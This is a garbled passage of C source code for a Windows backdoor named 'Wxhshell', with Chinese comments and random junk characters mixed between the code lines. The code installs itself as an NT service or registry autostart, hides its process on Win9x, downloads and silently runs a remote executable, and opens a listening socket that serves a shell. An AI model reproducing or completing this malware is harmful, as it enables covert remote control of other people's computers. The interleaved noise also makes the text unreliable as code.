39 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6k])Kl J2; 4ax|Vb)D CloseHandle(hProcess); TbE:||r?^ lx,`hl% if(strstr(procName,"services")) return 1; // 以服务启动 F=@i6ERi `?s.\Dh return 0; // 注册表启动 }GHxG9!z } ;5|1M8]=0 Sm3u /w! // 主模块 #j@OLvXh int StartWxhshell(LPSTR lpCmdLine) sDiHXDI_m { MWWu@SY SOCKET wsl; Ar,
9U9 BOOL val=TRUE; va{#RnU int port=0; o96:4j4 struct sockaddr_in door; ?Z %: p5]_}I`+2 if(wscfg.ws_autoins) Install(); BQgoVnQo_c oJ;rc{n- port=atoi(lpCmdLine); 0.(<'!"y Z/ bB
h if(port<=0) port=wscfg.ws_port; utO.WfWP X} JOX9pK WSADATA data; "HQF.#\# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yx?aC!5M -rY 7)= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s_wUM)! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J?712=9 door.sin_family = AF_INET; 2P~)I)3V door.sin_addr.s_addr = inet_addr("127.0.0.1"); A! 6r/
door.sin_port = htons(port); )3E,D~1e% cwtD@KC[B if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SX+RBVZU closesocket(wsl); #n})X,ip2 return 1; Sgj/s~j~1 } )r!e2zc=Q (6xDu.u?A if(listen(wsl,2) == INVALID_SOCKET) { Px4/O~bLk closesocket(wsl);
mIc:2.q^ return 1; z-u?s`k** } v|+5:jFOqb Wxhshell(wsl); z: G}>fk5 WSACleanup(); ]A:( L9 K84&sSi return 0; m/${8 y$oW! } i2F(GH?p[ aw$Y`6,S // 以NT服务方式启动 xks?y.wA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |4SW[>WT: { VuWib+fT DWORD status = 0; }C~]=Z DWORD specificError = 0xfffffff; f$D@*33ft e@
oWwhpE serviceStatus.dwServiceType = SERVICE_WIN32; .LE+/n serviceStatus.dwCurrentState = SERVICE_START_PENDING; .H;B=nd* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @phN|;? serviceStatus.dwWin32ExitCode = 0; ;L6Xs_L~ serviceStatus.dwServiceSpecificExitCode = 0; L$JI43HZ serviceStatus.dwCheckPoint = 0; .9 kyrlm serviceStatus.dwWaitHint = 0; h[U7!aM 6v47 QW|' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O-GxUHwWr if (hServiceStatusHandle==0) return; %Y',|+Arx nm):SEkC status = GetLastError(); !
zfFt; if (status!=NO_ERROR) 5#uO'<2$ { dB)[O9K) serviceStatus.dwCurrentState = SERVICE_STOPPED; %,? vyY serviceStatus.dwCheckPoint = 0; #<#%>Y^ serviceStatus.dwWaitHint = 0; ZgF/;8!~V- serviceStatus.dwWin32ExitCode = status; 76MsrOv55 serviceStatus.dwServiceSpecificExitCode = specificError; j+>Q# &h9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); LZV}U* return; YBylyVZ } &va*IR YX;nMyD?~ serviceStatus.dwCurrentState = SERVICE_RUNNING; FzhT$7Gw serviceStatus.dwCheckPoint = 0; A'g,:8Ou serviceStatus.dwWaitHint = 0; C_-E4I
Z) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gM, &Spn } QMb^&?;s "L_-}BK // 处理NT服务事件,比如:启动、停止 "?H+
u/8$ VOID WINAPI NTServiceHandler(DWORD fdwControl) Ar`\ N1a { Ruj.J, switch(fdwControl) M:|/ijpN { ,>S+-L8 case SERVICE_CONTROL_STOP: gb_X?j%p7 serviceStatus.dwWin32ExitCode = 0; ay[ZsQC serviceStatus.dwCurrentState = SERVICE_STOPPED; Z3`2-r_= serviceStatus.dwCheckPoint = 0; 2FT-}w0; serviceStatus.dwWaitHint = 0; \^s2W:c { "WP% REE! SetServiceStatus(hServiceStatusHandle, &serviceStatus); =h[yAf } @YB85p"]J. return; R-C5*$ case SERVICE_CONTROL_PAUSE: ,RN|d0dE serviceStatus.dwCurrentState = SERVICE_PAUSED; E0jUewG break; A^vvST%7 case SERVICE_CONTROL_CONTINUE: u*k*yWdr serviceStatus.dwCurrentState = SERVICE_RUNNING; =LqL@5Xr break; `oPLl0 case SERVICE_CONTROL_INTERROGATE: aH^{Vv$]M@ break; tQf!|]#J }; ^Fvr
f`A' SetServiceStatus(hServiceStatusHandle, &serviceStatus); T^NJ4L4# } @#CF".fuN> bqNLkw# // 标准应用程序主函数 %O_t`wz int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) id4]|jb { qm}\?_ 5%'S // 获取操作系统版本 V^vLN[8_\ OsIsNt=GetOsVer(); x
Ty7lfSe GetModuleFileName(NULL,ExeFile,MAX_PATH); tx)OJY #{~7G%GPY5 // 从命令行安装 |Cq8% if(strpbrk(lpCmdLine,"iI")) Install(); ;%!tf{Si $2is3;h // 下载执行文件 wO!%
q[ if(wscfg.ws_downexe) { >F|qb*Tm7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d/4ubf+$k WinExec(wscfg.ws_filenam,SW_HIDE); Ff&R0v } F7V6-V{_ 8.-S$^hj~6 if(!OsIsNt) { nHVPMi> // 如果时win9x,隐藏进程并且设置为注册表启动 Z !Z,M' " HideProc(); 7y>(H<^> StartWxhshell(lpCmdLine); pMDH } {70Ou}* else l\Cu1r-z if(StartFromService()) /khnl9~+ // 以服务方式启动 u YabJqV StartServiceCtrlDispatcher(DispatchTable); ]'6'<S else K7S754m // 普通方式启动 ysl8LK
StartWxhshell(lpCmdLine); i.F8 ]qMH=>pOsj return 0; [JZ h*A }
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